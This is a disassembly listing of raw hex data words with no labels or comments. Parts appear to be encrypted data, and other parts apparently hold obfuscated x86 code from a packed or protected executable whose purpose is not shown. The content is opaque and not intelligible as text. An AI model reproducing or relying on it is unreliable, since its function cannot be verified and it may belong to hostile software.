		dd 5F95F28Eh, 0A43CB30Dh, 0D5B132D8h, 8AD06B56h, 75B135BEh
		dd 5A270256h, 0A65FCDF8h, 0AEB1BB59h, 58EA3256h, 98D0E0E1h
		dd 0E82C79Fh, 4840B336h, 14C870D7h, 0BAB137BFh,	0A9541056h
		dd 0F338B3D9h, 0DEBE52AAh, 0ABB13256h, 0D5B13FBFh, 76B5DB56h
		dd 0FB0C6784h, 4A322AF0h, 0D6D083FCh, 0BACA82ECh, 57A3DB50h
		dd 0BB283256h, 0F92A24CDh, 0F0C91890h, 0D8291C66h, 6066B1DBh
		dd 5DB126BFh, 71789256h, 0F2BCCC39h, 6DC411Bh, 5E19E406h
		dd 6AE85601h, 758EB1A2h, 0B83DB659h, 0DCBE3256h, 0AEB1325Bh
		dd 57B13ABFh, 2501EA56h, 0AC15FCD5h, 158EB103h,	75AEB759h
		dd 0B3583256h, 54B13256h, 825ACFE7h, 337B02E0h,	0ABB0B159h
		dd 56493256h, 3442691h,	8A4ECDEBh, 0BECEB1AAh, 61353D56h
		dd 56B13256h, 57BD4DD5h, 0AB80B659h, 55D13256h,	8B442FA4h
		dd 75B15BBFh, 0B6333D56h, 0B4B13256h, 0AEB13251h, 6B82476Ah
		dd 42627402h, 0D5B13259h, 1416CEECh, 668ACCA3h,	0F80FB168h
		dd 0A2129571h, 2D48CE13h, 0D8BE2691h, 0ABB13240h, 0D5A1B259h
		dd 0E1583256h, 94B13256h, 2DBB49A9h, 40B62124h,	0E0583C2Ch
		dd 0A24ECDA9h, 0ABA5B459h, 0DA583256h, 23B13256h, 55438FE7h
		dd 0A40273A6h, 947B0DA6h, 0D1326777h, 0D3BE3746h, 0ABB13218h
		dd 0D5B0BF59h, 694D3256h, 7AB72229h, 0BAB168D3h, 5658CB56h
		dd 40B13256h, 6D1EA13Ah, 7E580F7h, 3CF0176Eh, 0EAB1325Dh
		dd 8E195451h, 6E46EB35h, 0D63BAD7Bh, 0A7583611h, 43B13256h
		dd 46E3C0D1h, 0C50FD331h, 16BD6DDDh, 75B1C4BFh,	0FD3ACA56h
		dd 5DB4DB52h, 85603256h, 0DC4083E3h, 42443E09h,	0D5B1328Ah
		dd 0EAB0B559h, 0FE443256h, 0E8D13611h, 5DB1BB59h, 2FE93256h
		dd 7E93ECBEh, 22BE532Fh, 0D5B1324Dh, 0EAA4BD59h, 65583256h
		dd 0F6B13256h, 13482E4Ch, 0E3C4A05h, 0D8CD1101h, 2068824Fh
		dd 5CBE3E09h, 0EAB1325Eh, 0A50BCE36h, 0DB91AABEh, 0B4B56D7Dh
		dd 0AEB13242h, 0CE50DECh, 9182F92Bh, 2DCE8DBBh,	7F7A2D1Dh
		dd 0AF80BD72h, 0BAB6B459h, 0DDBE3256h, 0AEB13257h, 525AB1AFh
		dd 0BBCEB1A3h, 8C343D55h, 0E5B13256h, 75B133DAh, 3CBECB56h
		dd 5DB1325Ah, 0AEB135BFh, 77D53256h, 4DE16FE4h,	0D5B7DB17h
		dd 0FC353256h, 3ACFCDE8h, 0AD363D36h, 0B4B13256h, 0AEB13244h
		dd 0E47288DDh, 62FBD7B6h, 0A1AD15F7h, 0E1D6A5C3h, 9DD17751h
		dd 0BAB13251h, 8ED108DAh, 0F1C09EADh, 8F76E5D7h, 0CAD00EDAh
		dd 5C4DEB7Dh, 8AB0330Ah, 75B120BEh, 0DBF8AF56h,	0D88A2E8h
		dd 717A4B14h, 0F976EA7h, 2063224Ch, 1D3169A5h, 61BE5334h
		dd 75B13257h, 454E8AAFh, 5658CDA9h, 8EB13256h, 1E72AAA2h
		dd 0E840B49h, 0D0080FB3h, 3B13256h, 75B1325Fh, 81FF2320h
		dd 8B53FF15h, 0CE1AC15Ch, 58738D59h, 0ABB133D1h, 3CD0CA56h
		dd 154ECFD7h, 75B123BFh, 2D244656h, 18B63931h, 0E077EACFh
		dd 5D21EBB4h, 42D03B48h, 0D5B13259h, 8367F139h,	8256DE4Eh
		dd 0BFE68074h, 0D614DC17h, 674DCE13h, 0D1BEF1AEh, 0ABB1325Ch
		dd 0D5B137BFh, 97C6AD56h, 8CE13B99h, 0DAE2CA07h, 0FF6BB330h
		dd 643054FAh, 0BFD0D269h, 0ABB13256h, 0A55BB30Ch, 13B72690h
		dd 75323D36h, 53B13256h, 5DB1325Eh, 31755D93h, 0B73FBD8Dh
		dd 0DC2BBF37h, 3CB7262Ah, 0EAB13250h, 7C72EA1Ah, 4FD1A3F0h
		dd 5DB121BFh, 1B48A756h, 0FE3349E1h, 437F4D73h,	0C74D25DDh
		dd 560A78E9h, 75D58A37h, 0DA493256h, 0D893F4D7h, 47E70E2Eh
		dd 57B13250h, 63B7D2E8h, 0B4EE7D91h, 0EAB4F6BEh, 0F2BE5256h
		dd 0BAB13241h, 5DB120BFh, 0A68FC456h, 6A19DA73h, 60AD5E07h
		dd 83A43606h, 1F2BA9C2h, 8DBAB937h, 0B57009A3h,	5DB13BD7h
		dd 27BE5256h, 57B13256h, 3A5853AFh, 0B5B13256h,	0EAB13ABFh
		dd 0DA9C1656h, 0F44F0C22h, 8F6AB39Ch, 0CFCB0ABDh, 0ABB57955h
		dd 29BEF36Dh, 0D5B132EDh, 0EAB134BFh, 4628456h,	0B5DE6368h
		dd 5DB135D2h, 2FD75256h, 3697B99Ch, 0A4A17955h,	0D5B13EDFh
		dd 0EC3D3D56h, 7AB13256h, 0BAB132D0h, 9C8ACA56h, 0AEA3B059h
		dd 31D13256h, 2ABCE4E8h, 0D8AABB84h, 0F6585352h, 89B13256h
		dd 0BAB18BBFh, 5DA1DB56h, 94D13256h, 0DCCB7ACAh, 664521AFh
		dd 0A3A3EF2Bh, 3495231h, 75B132C8h, 400E3D36h, 3CCBEBD6h
		dd 0C261A8DBh, 0DBBE3443h, 0ABB13244h, 0D5B13FBFh, 7AD7C56h
		dd 8E9A1DD7h, 4B5732D2h, 8E4E0573h, 0AEB0B859h,	0BE4D3256h
		dd 0ABB1323Ch, 1F306236h, 0D86EEC89h, 0F6BE6409h, 0BAB13256h
		dd 0D3BE530Dh, 0AEB13251h, 58E86236h, 26D0EBE9h, 0C0DEC4CCh
		dd 6BD75250h, 14AAF785h, 0BAB123BFh, 0C5158D56h, 0E4F23005h
		dd 0BD7D5391h, 0AA9BEBBAh, 64EFFEAh, 1B305436h,	0F4BE1B4Ah
		dd 0BAB1324Fh, 5DB121BEh, 2B6C9C56h, 0BDF67996h, 5EA71FC3h
		dd 0CCD07F0h, 86F69F8Ch, 15EA530Eh, 0BA343D00h,	3B13256h
		dd 0AEB126BFh, 883EA056h, 79D872C3h, 58410F6h, 0FE34E7h
		dd 0D0358C3Bh, 43E85308h, 3BD1520Eh, 0C919F9D7h, 57B1B259h
		dd 0A4D03256h, 16D0E9E9h, 0EAB137BFh, 5933D656h, 0B5E4AEA9h
		dd 5DB12DD2h, 0B73B3D56h, 0BEB13256h, 0ABB13242h, 3014076Fh
		dd 0FCE57E6Bh, 443A8018h, 851506C8h, 0C641C8C8h, 10D1DEDDh
		dd 0B684DBCh, 3F94E4D7h, 3DD048EBh, 0EAB13256h,	0CD5BB30Ch
		dd 0B5B7269Eh, 5DB135D0h, 0AF3D3D56h, 0A2B13256h, 443052AFh
		dd 0DDCB8EC3h, 0A862B330h, 7AD153ABh, 0BAB123DBh, 5B595256h
		dd 91B13256h, 65CC12C3h, 14BE68FCh, 3DD15387h, 0EAB13245h
		dd 0CF195D2Fh, 51DC2B94h, 0D304D4AAh, 860B7C78h, 0DDC762DBh
		dd 2DBE6A94h, 0D5B13255h, 8B6B8559h, 9C688DBh, 0B5D13442h
		dd 5DB130DFh, 0C8A28356h, 0DCD0E8DDh, 2ABE3A13h, 0D5B13257h
		dd 12B6BBAAh, 15BD77DDh, 0BAB135BFh, 0FE4B7156h, 0AE164C71h
		dd 0DED06804h, 0AD583611h, 0ECB13256h, 0B70EA9C1h, 74333DCDh
		dd 4FB13256h, 0B4A177DDh, 0AEB1325Bh, 88727492h, 0A6214EFh
		dd 0E456E4DFh, 0E6F6BB74h, 75B0B959h, 0DA483256h, 5F393DA3h
		dd 0CEB13256h, 123A5337h, 14BE5242h, 0D63C3D9Eh, 6AB13256h
		dd 0FCD06A86h, 0DB442211h, 5F3B3D36h, 0FCB13256h, 57B6DB0Eh
		dd 73AE3256h, 145654CAh, 0E578535Fh, 75B13FDCh,	32BE5256h
		dd 5DB13256h, 0C2D91BE8h, 47735368h, 0A4D1CA56h, 0D5B138D7h
		dd 68BE5256h, 75B13256h, 7CD0E2DDh, 539E23D3h, 0BA587550h
		dd 0C4B13256h, 110156C6h, 5514BC6Ch, 329D816h, 6FDFC842h
		dd 0D2FB5100h, 0F5A6414Ch, 0BF363D36h, 0BEB13256h, 0ABB1325Ah
		dd 138F3ECEh, 0CC71F812h, 0A4A5CC32h, 67998B30h, 5C333D37h
		dd 5BB13256h, 5B8C87A9h, 25BE3458h, 0D5B1325Eh,	0EAB3BF59h
		dd 14D13256h, 0D5C5B7DBh, 54583447h, 78B13256h,	624A6812h
		dd 2A40B69h, 0D5B134BFh, 97B38F56h, 8A64527Ah, 753A5286h
		dd 0FD0EFDCh, 573BBFAEh, 0AFB7262Bh, 0ABB134BFh, 868E7D56h
		dd 0BB2179CDh, 61585236h, 4FB13256h, 0E2B9DAD3h, 0A456BBF6h
		dd 0E63C290Dh, 0DE4602EFh, 0B45CFAAAh, 7419BDEFh, 0A54E5307h
		dd 0BAB122BFh, 725BD356h
		dd 0ED51136Ch, 9BD87036h, 0A22A4BA4h, 0D3586898h, 39B13256h
		dd 17F7379Ch, 4333BF44h, 3DB7262Bh, 0AEB13DBFh,	87B31C56h
		dd 62E9F9F2h, 70AE97F1h, 0D3498FD1h, 75B3BA59h,	12053256h
		dd 1D063D37h, 763ACE5Ah, 57BBB059h, 0FCD13256h,	0D5393D09h
		dd 8BB13256h, 75BADB04h, 95DB3256h, 0D3D12DECh,	891C08A5h
		dd 0BE803DCEh, 0ABB1325Ah, 0F763711Ch, 22063E69h, 66389688h
		dd 79B2C70Ch, 5B3C3D36h, 0A1B13256h, 57B132D2h,	553A5456h
		dd 2833BB37h, 1FB73C49h, 723B3D37h, 0B5B13256h,	5DB133DAh
		dd 0CE72CE56h, 732C99EDh, 0E951613Bh, 13h, 971BF5DDh, 0C2D9B9Dh
		dd 17167FBDh, 296725A1h, 527D96C7h, 88D0Fh, 870F0000h
		dd 2, 0E86160h,	5A000000h, 0CB7BEA81h, 0E9F80614h, 0Dh
		dd 0F1BB55E8h, 12B933E0h, 9C2CF95Ah, 0FE952BAh,	0BF000000h
		dd 8E62EA22h, 0FDB44C9Dh, 4DBF8B30h, 828B0BF5h,	60E1FFDh
		dd 0C8D0Fh, 0F600000h, 8Bh, 0D2BF6600h,	6DB96122h, 0F41C64Eh
		dd 0E8Bh, 9E900h, 97D10000h, 382B7EC3h,	0F775175Ah, 0F5AF8E1h
		dd 1185h, 0CE900h, 748B0000h, 0B43798Ah, 0E66E0E13h, 39054DC7h
		dd 0F000030h, 188Eh, 10E96000h,	9000000h, 0AF06117Eh, 0F3CC9857h
		dd 0D50490h, 0F57EECC1h, 0FFFF2561h, 850F7FFFh,	0Ah, 5E9h
		dd 0D552200h, 0BE9C90Ah, 0CC000000h, 0CCAFB5E1h, 2B7B8EF8h
		dd 82891387h, 60E1FFDh,	80605AF9h, 0D98B5FEAh, 0E9605961h
		dd 0Eh,	0D7E70C8Fh, 7009952Eh, 335F5BCEh, 14E94E0Eh, 30000000h
		dd 0F8ED7D1Dh, 596BB649h, 4212F17Dh, 0EE2C0333h, 612086EAh
		dd 0F60F9C3h, 183h, 11E9FC00h, 95000000h, 61D6EB0Fh, 70D628CDh
		dd 3C58E8B5h, 0A5A04B8Bh, 0CE95161h, 56000000h,	0CBD97FE6h
		dd 0C220147Fh, 60D997F7h, 5E9C18Bh, 17000000h, 5C1CBBBh
		dd 66605261h, 52CEFEBFh, 0AE96158h, 77000000h, 8FC1F563h
		dd 1A2E0294h, 0E896h, 815A0000h, 14CCDAEAh, 7800F06h, 60000000h
		dd 8BF7B70Fh, 8BF861DEh, 14840FC8h, 0E9000000h,	0Fh, 4F48F7ADh
		dd 0D0C93B7Ch, 0D4994965h, 0E8B3DA1Fh, 0FFFFFE3Eh, 5E9h
		dd 0D421E600h, 666006A7h, 0B6B4D081h, 6157EC80h, 880FD233h
		dd 18h,	12840Fh, 0DE90000h, 29000000h, 0B920B102h, 0F6A116F1h
		dd 0FA7C00BAh, 840FF1F7h, 11h, 0CE9h, 53A0A900h, 98357A6Ah
		dd 5FECD01Ah, 0FC28B9Ah, 158Ch,	10E900h, 0AAE60000h, 0A85A3BD7h
		dd 1D106B7Fh, 3916199Dh, 0F5A76AEh, 189h, 0E959F800h, 0Fh
		dd 0E076F566h, 84A1144Eh, 0E873B2C6h, 0C3AA63F6h, 14E9h
		dd 801AA800h, 0E26D06EFh, 75820F36h, 0EFDD6899h, 2FC9D0BDh
		dd 0F8C08B23h, 880FC08Bh, 1Ch, 0C9816660h, 0FE8201Dh, 0BD000000h
		dd 0D96520ADh, 865D991h, 0CEEB4732h, 615BA7DCh,	9391858Dh
		dd 880F0614h, 6, 0DB80F560h, 0D0FF616Eh, 8E9h, 9F450500h
		dd 54C19852h, 0C18B6635h, 0DE9h, 74F88200h, 72F8F081h
		dd 0E542447Eh, 8DFCDBD4h, 14CB4E85h, 10E906h, 5FEE0000h
		dd 8691FCECh, 4A9CDC5Dh, 3E442A1Ah, 85890A4Eh, 60E1D29h
		dd 8E960h, 94A90000h, 2ADB5CF4h, 8D61AF3Bh, 14CC9D85h
		dd 0FE906h, 7B5B0000h, 7233A3A6h, 476893D7h, 0C3D84C61h
		dd 0E1858909h, 60060E33h, 2810Fh, 5B530000h, 0B861h, 0F600000h
		dd 387h, 0D6BF0F00h, 61D5D080h,	840FC00Bh, 173h, 7E9h
		dd 9F068100h, 62E5482Dh, 2F1185C6h, 6056060Eh, 14E960h
		dd 8A40000h, 607E76DBh,	0E6D7EF37h, 21A87CEEh, 0E7626D86h
		dd 6661735Dh, 61E8F3B8h, 0C530DF68h, 0B5FFF5A9h, 60E0C3Dh
		dd 14E9h, 0DB138600h, 6ED0EC93h, 0DAB6C610h, 75F5AF94h
		dd 57EC68F2h, 52B260CFh, 85F18166h, 858D6123h, 6116F74h
		dd 0C800Fh, 8C0F0000h, 6, 8E0Fh, 0D0FF0000h, 11E9h, 51A07700h
		dd 909A6B59h, 0D6BBD405h, 667ACB1h, 0F50B195h, 1488h, 81666000h
		dd 0E9B6ECE1h, 8, 4B303DC1h, 0A8C12457h, 198D8D61h, 0F060E08h
		dd 48Dh, 0DF8B6000h, 810F5161h,	0Dh, 8E9h, 2914F600h, 0BAC7CDC6h
		dd 0F8046A47h, 100068h,	81506000h, 75AE87D6h, 820F585Eh
		dd 2, 0FF61C78Bh, 0E0305B5h, 7850F06h, 0F000000h, 18Eh
		dd 800FF800h, 8, 0F1C88160h, 6121BA2Ch,	8BF5D0FFh, 0E0305BDh
		dd 0DE86006h, 3000000h,	44D9FEA3h, 85C9B6A7h, 9A5C2534h
		dd 58C8BF0Fh, 3C7F0361h, 13E9h,	0CFEC2000h, 0A7A07D2Eh
		dd 0A1B64F02h, 4B68A796h, 0BED582AFh, 0F8C781h,	8C0F0000h
		dd 1, 2447C7FCh, 60000020h, 12E9h, 9B481300h, 0B169D12Eh
		dd 8E253EDDh, 623912DEh, 8D2B7DFBh, 0E0AC99Dh, 8B666006h
		dd 0F98B66F9h, 0E9038B61h, 6, 63490F63h, 0C00B74E7h, 46840Fh
		dd 80600000h, 8B0FF7D2h, 1, 0EE961F9h, 0E7000000h, 0E20835EAh
		dd 2B580D03h, 0F68B7982h, 60008B7Ch, 8166EF8Ah,	61FAEAE2h
		dd 0E9044389h, 14h, 705306CDh, 74930328h, 711A1B32h, 6481A047h
		dd 35AC7FD3h, 234CF6B9h, 2F8D8D00h, 8B0614D1h, 0E09759Dh
		dd 0C58D8906h, 6A060E2Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 806DC351h, 33C78BB8h
		dd 0E1541B5h, 999D8B06h, 0C7060E1Ch, 0E088185h,	694C06h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0DCFBA3EEh, 9E8h, 173E3F00h, 6223FD39h
		dd 8166610Dh, 58E7A8D2h, 28D985C7h, 60Eh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0FCD1ABC3h, 9E984h, 190E0000h, 521C8521h, 0FF458DE7h
		dd 0E19D5B5h, 0F18B6606h, 9B995FFh, 0E18A060Eh,	95FF006Ah
		dd 60E0F45h, 7AEBC08Bh,	2EC002BEh, 6329EBE8h, 63C02D07h
		dd 91AC1B0Ch, 0BBEEBFD6h, 1C7007D0h, 887B356Fh,	819778Bh
		dd 1361A4B6h, 89EDB43Ch, 94247C8Ah, 6BD31081h, 0E110DFE4h
		dd 5AA43191h, 0C721CB5Bh, 0B62E9DEh, 517E4930h,	0B88FB2Fh
		dd 1C73A6h, 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h
		dd 53D1D8DAh, 0D3827505h, 55113F9Dh, 9624167Ah,	4CC1B6Ch
		dd 0F642E7D1h, 56B100E5h, 0CE8E448h, 0B5000000h, 70EC3325h
		dd 2FF0AE0Bh, 8B489720h, 0E2055BDh, 96B95E06h, 815B6E91h
		dd 5B21C6h, 0A1858900h,	0BB060E14h, 1699h, 66D5B966h, 950936FFh
		dd 60E1DBDh, 6E95Ah, 0D9DB0000h, 0D4D0127Fh, 59F1C281h
		dd 89500D05h, 0E04ADBDh, 0F2815906h, 6BDF660Ah,	0A5EA81F5h
		dd 663E37B2h, 15EFCF81h, 0B9661689h, 0EE831328h, 9E901h
		dd 0C8F30000h, 3311758Ah, 4E73B898h, 0BD8B4E4Eh, 60E2EA5h
		dd 0F01EB83h, 1A85h, 95895700h,	60E24C1h, 2AE959h, 0E9CD0000h
		dd 74081777h, 0B3323C11h, 89238C41h, 0E1BA195h,	0FF7EE906h
		dd 8EF6FFFFh, 62F98829h, 0A3C6273Bh, 8487C613h,	0BD10CB5Ch
		dd 0CE8h, 9452A300h, 42DEBE67h,	16779207h, 9C380DFh, 859D8B5Eh
		dd 81060E22h, 595AC6h, 6860F00h, 8B000000h, 0E33299Dh
		dd 16226806h
		dd 0FE8B0000h, 91BF6659h, 0F068B8Dh, 289h, 81D98A00h, 0B0B5E8F0h
		dd 4CDB8173h, 817AE9BFh, 3338C9E8h, 2D958B2Eh, 81060E10h
		dd 926397C0h, 35BD8B6Dh, 89060E0Fh, 0EE906h, 0F8470000h
		dd 0C174B843h, 0FA300698h, 38CA8C92h, 2AEEE81h,	0C6812226h
		dd 222602AAh, 67F28166h, 1E98112h, 0F000000h, 2885h, 12E800h
		dd 44E10000h, 0D6B7FAEFh, 4264AAD5h, 49D1645h, 26836600h
		dd 2FCD9589h, 0E95A060Eh, 1Fh, 0BCC825A8h, 0E9DA8BCAh
		dd 0FFFFFF71h, 0F7F7A205h, 47995AB2h, 7F8E34D8h, 47A4FCF1h
		dd 0E8DED1FDh, 9, 68875A88h, 0BF0EF22Bh, 6860F96h, 9000000h
		dd 0E147195h, 81FC5B06h, 6A78C3h, 0FD858900h, 0B8060E13h
		dd 1A7Ah, 0A820Fh, 66600000h, 66A619BEh, 618720BEh, 8F0F33FFh
		dd 6, 0E598589h, 315A060Eh, 0E30399Dh, 2EEA8106h, 601FF9DDh
		dd 2DCF44B8h, 8161FC05h, 98BDBEF2h, 0C18D8B3Eh,	81060E13h
		dd 0D574C7EAh, 68D0F3Dh, 8B000000h, 0E01D5BDh, 38F5206h
		dd 8104EB83h, 0C731B9DEh, 1E88325h, 0FFAA850Fh,	0B52BFFFFh
		dd 60E30A9h, 5E8h, 0BAA70800h, 0BE666F27h, 0B35F8BE0h
		dd 0EAC7811Ah, 100006Fh, 0E0DF9BDh, 0C1F3BA06h,	0EA8118E6h
		dd 18E6A62Ah, 8CD18166h, 0E937FF2Dh, 10h, 0A1D7905Ch, 82008065h
		dd 4D9AA630h, 0F37AE022h, 918D8B58h, 81060E1Dh,	0D542EC0h
		dd 7E91Dh, 0D3E10000h, 0F381C9EAh, 0C1C08137h, 891561C2h
		dd 0E06FD95h, 92C08106h, 0F306B4Eh, 81h, 57078900h, 29BBF181h
		dd 835E4A8Fh, 9E904EFh,	28000000h, 973F7317h, 0E31D8651h
		dd 0F01EA83h, 1E85h, 727BB00h, 2CE91FEAh, 93000000h, 5AC06E80h
		dd 3BEDFE4Fh, 705097F8h, 59E5396Fh, 66FC8427h, 6EE9F28Bh
		dd 5AFFFFFFh, 3CEB2D28h, 4EB3F12Ch, 3BB21E25h, 8D981457h
		dd 14D54F8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 49B85E92h, 8991CC76h, 0E2FC58Dh
		dd 0E5BD8B06h, 0C7060E03h, 0E088185h, 646406h, 29B50B00h
		dd 0C7060E09h, 0E28D985h, 6, 0AE800h, 0A7260000h, 987F178h
		dd 0DDC4E572h, 5ADA8B66h, 1915B5FFh, 0F680060Eh, 0B995FF16h
		dd 6A060E09h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0D7FDC357h, 237AB0A4h,	95FF006Ah
		dd 60E0F45h, 6CEBC08Bh,	4E9BA886h, 7DE5E5DDh, 93F45E5h
		dd 59C6FDDAh, 82FE842h,	0C3C8A27Ch, 7EC2D139h, 21E55114h
		dd 0CA5D7C99h, 0A35720EFh, 352C4032h, 4A319F3Ah, 0ACDF109Dh
		dd 40E29F95h, 81EEE5FCh, 0C0F468AAh, 8BE200A0h,	0FFFD5D81h
		dd 658C2367h, 5AD24B8Dh, 0FA8DDA39h, 65CAB3CDh,	0D74BB03Bh
		dd 0B1EC02F2h, 8C085FEAh, 554303D8h, 14984F24h,	16E9h
		dd 0FFB5B300h, 7Dh, 3 dup(0)
		dd 0E9000000h, 4D7h, 14D6DB68h,	0A8B6E906h, 5668FFF9h
		dd 0E90614D7h, 0FFF9A8ACh, 14D8B268h, 0A8A2E906h, 0BDB4FFF9h
		dd 97932EF2h, 7C7712D6h, 605AF5B9h, 443CD79Bh, 0D88CB77Bh
		dd 28ECB5ADh, 9CD948Dh,	0EFB3706Eh, 0D4985754h,	9DFCBD88h
		dd 355D7D65h, 31F2C1CCh, 5D7D65D6h, 2C9AEF6Ah, 0D9F5BEB6h
		dd 221E01FEh, 0EF8E4561h, 0F5B934F1h, 0F0BF0236h, 416A5651h
		dd 0E6324D5Fh, 0CC97EC67h, 77DAC50Bh, 6480FB61h, 9BE62467h
		dd 0E2B1C0A2h, 9BE6E621h, 8ADF5AA2h, 0A044BB0Ch, 0E74E6342h
		dd 45C71C2Eh, 0B6039DB2h, 2FB74h, 77DC0600h, 0EDDE454h
		dd 77DFBF4Dh, 65FE7961h, 3EC7BC68h, 0B90830A1h,	0A0FF29EAh
		dd 0D2719DFBh, 0EAF511DAh, 17E0EE29h, 6CE762ADh, 925322F1h
		dd 0AD17E077h, 0E3FB50CBh, 9E6D54E4h, 9BB53DDh,	23F26D97h
		dd 4C88784h, 57AD6C69h,	2117E1CFh, 522FB915h, 91000003h
		dd 700BCF9Ah, 54EFB374h, 37D29659h, 19B4783Dh, 69945821h
		dd 0C9928AFBh, 0AA716A05h, 904D4BE6h, 753431CCh, 0D99A65B1h
		dd 5D7D66BEh, 92FBA912h, 0DFFF7A6h, 45C88EBCh, 30FF7A9Dh
		dd 69AC286Fh, 0B22DA85Bh, 5A4C44E3h, 0AF1F9D13h, 1469E40Fh
		dd 0ACC8849h, 5DFC617Eh, 0CE85A160h, 0EDE58453h, 0CDC56024h
		dd 0ABEBE804h, 51A28209h, 0BD3F9554h, 0F3288C4Ch, 2D70D97h
		dd 150C0000h, 0EFEB864Ah, 0D4CF6A2Eh, 0B8B24D11h, 9C942FF3h
		dd 60E40FD3h, 80440D05h, 6125ECE5h, 470BC8C6h, 2CF0AFACh
		dd 355415E0h, 8D5D7D67h, 0E7867624h, 490A06EBh,	0A6FB762Dh
		dd 0A17051E7h, 7E8574E0h, 0B1AD4C61h, 0FEF9D4F0h, 0A86BC03Bh
		dd 9AF118D9h, 0D651A282h, 0C3423F5Bh, 9BA2829Ah, 9D5A88D9h
		dd 89B60B1Eh, 1C0h, 0EFE7861Bh,	3936D126h, 86835E7Ah, 0F44403C7h
		dd 0D798ADA9h, 5B69B0B0h, 0FE1A9510h, 3CFDCC47h, 6177BEB8h
		dd 6A0EDD58h, 60E3FED7h, 28409588h, 98B7E82Bh, 0A67584A2h
		dd 98B7A2E5h, 4EA31EA2h, 0A6517FD0h, 80B60540h,	38h, 1BA69212h
		dd 0BFCD8B4Ch, 5CFB6177h, 0CD84A05Fh, 1E3AB578h, 9840E221h
		dd 0CC6B7AA2h, 39F00CD3h, 0E71566E4h, 0B6045C10h, 0C116h
		dd 0B2AC4B00h, 0F20ECBC9h, 0FD6BC03Bh, 0DEFAB9B6h, 26420B03h
		dd 0BD827C1Bh, 11D0CD68h, 0E8A5A342h, 0A1707B93h, 69B0B9E0h
		dd 499E195Bh, 2EF2B1AEh, 69B53071h, 5AF9C85Bh, 0BADD9E5Dh
		dd 16A4964Bh, 4B038647h, 44BFA496h, 0DCD974C9h,	0BE7F4E1Dh
		dd 0A4964B5Bh, 67277CF7h, 623190A8h, 85AD5BA1h,	0BB8A059Eh
		dd 975B241Ch, 1A1704FCh, 0D48AE05Bh, 342888A0h,	17B4ED8h
		dd 71680000h, 4B47E2A6h, 302BC68Ah, 140EA96Dh, 0F8F08B4Fh
		dd 84406B2Fh, 0DCA06961h, 0BD814841h, 0A3672422h, 884C0B08h
		dd 69B0713Ch, 0E95D7D68h, 0BEB6D280h, 999631F5h, 0AC4B16DAh
		dd 0BFDA9BB0h, 135B69B0h, 4A011D98h, 0E78687F5h, 540B27EEh
		dd 0A86764FFh, 0F5B4B18Ch, 0D6976631h, 5B69B0B3h, 77F0940Fh
		dd 427983AAh, 9E9A59AEh, 0E6855423h, 18D52AE9h,	61773FC4h
		dd 6B3A0984h, 0B90ED1CCh, 0DA34261Eh, 3765E60Ch, 9E5B1F9Ah
		dd 0A29B067Fh, 793634D3h, 6AEE9AAh, 0A722A29Bh,	0D7BAB752h
		dd 0CF9E19DCh, 536F3830h, 6008748h, 45C0A29Bh, 1AB575CAh
		dd 0BB8A5922h, 9B069FFAh, 63B833A2h, 0D59C404Bh, 9324E125h
		dd 0AEBA0459h, 48000000h, 0FFF7A692h, 2BECBB36h, 617E852Dh
		dd 310C28A3h, 7A67534h,	31F1460Fh, 7CEC766h, 501710EBh
		dd 5E027D34h, 3111DE05h, 7611669Ch, 0D59E9679h,	6B8702B9h
		dd 0BE05D06Eh, 4F3F382Eh, 62584D4Ch, 1C974Dh, 4C682925h
		dd 8EB10280h, 0DA217234h, 0BF5A1EDDh, 903403C2h, 0D21F7B13h
		dd 9AB207BDh, 0E400C5BFh, 3279CA88h, 3A77635h, 85464E65h
		dd 26967D02h, 699F43BEh, 89499EFFh, 6332F1EEh, 2DCB21BFh
		dd 91E658B1h, 0C1CA6E79h, 0C7D7CD2Eh, 0AE29EEE8h, 130F59h
		dd 71400000h, 96F769B0h, 4C4AE926h, 7975148Fh, 33F563B8h
		dd 0F4BFB681h, 4100FDD8h, 8F4C4A25h, 0D89F9873h, 20E9E1BCh
		dd 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h, 0DD68692Dh
		dd 8900006Fh, 89502434h, 405E0h, 0E8830000h, 24048704h
		dd 2404895Ch, 0B5D68h, 243C8900h, 0D5FEBF57h, 89520614h
		dd 5AD089FAh, 68E3685Fh, 24890000h, 24048324h, 89525F04h
		dd 85789C2h, 8324148Bh,	34FF04C4h, 0C4815F24h, 4, 582434FFh
		dd 0E904C483h, 0FFF9A3F0h, 99D50F1Fh, 0B8953608h, 614DA52h
		dd 0E0FFC503h, 5385FA5Ah, 1AB36D6Ah, 8B5CCFBh, 7E4EFA5h
		dd 0D2B232Bh, 5AA7E339h, 6D3E6D29h, 1B1CE5F1h, 53A28AE6h
		dd 3211FBD0h, 6A8DF158h, 767D5514h, 63DC2EDBh, 0CCF08E2h
		dd 49917BE4h, 7D5A91F4h, 6936F96Ch, 45C98C71h, 3621ED01h
		dd 551B25B9h, 551424E0h, 6F46B26Bh, 3C75C953h, 0E165507h
		dd 4AF533DDh, 6C8E9424h, 0DBF48D8Dh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 895236C3h
		dd 0E2FC58Dh, 0AD9D8906h, 0C7060E0Dh, 0E088185h, 5A3006h
		dd 81666000h, 0E969B5EEh, 0Ch, 0C4542A8Ah, 610727E2h, 775DC38Ch
		dd 0D985C761h, 60E28h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7D9DC353h
		dd 0D4C7076Dh, 0C37F10FDh, 8E950h, 52B90000h, 0A5464EA2h
		dd 0FF583CC8h, 0E1889B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B1B5090Eh
		dd 0B4060E31h, 0B995FFADh, 23060E09h, 0E1AF595h, 0FF006A06h
		dd 0E0F4595h, 0EBC08B06h, 611CE21Fh, 9D6A31Bh, 637AF033h
		dd 85336C8Eh, 3821E246h, 704EC4C0h, 796B965Dh, 0F293E102h
		dd 2BE9h, 0D70E5200h, 73h, 9 dup(0)
; ---------------------------------------------------------------------------
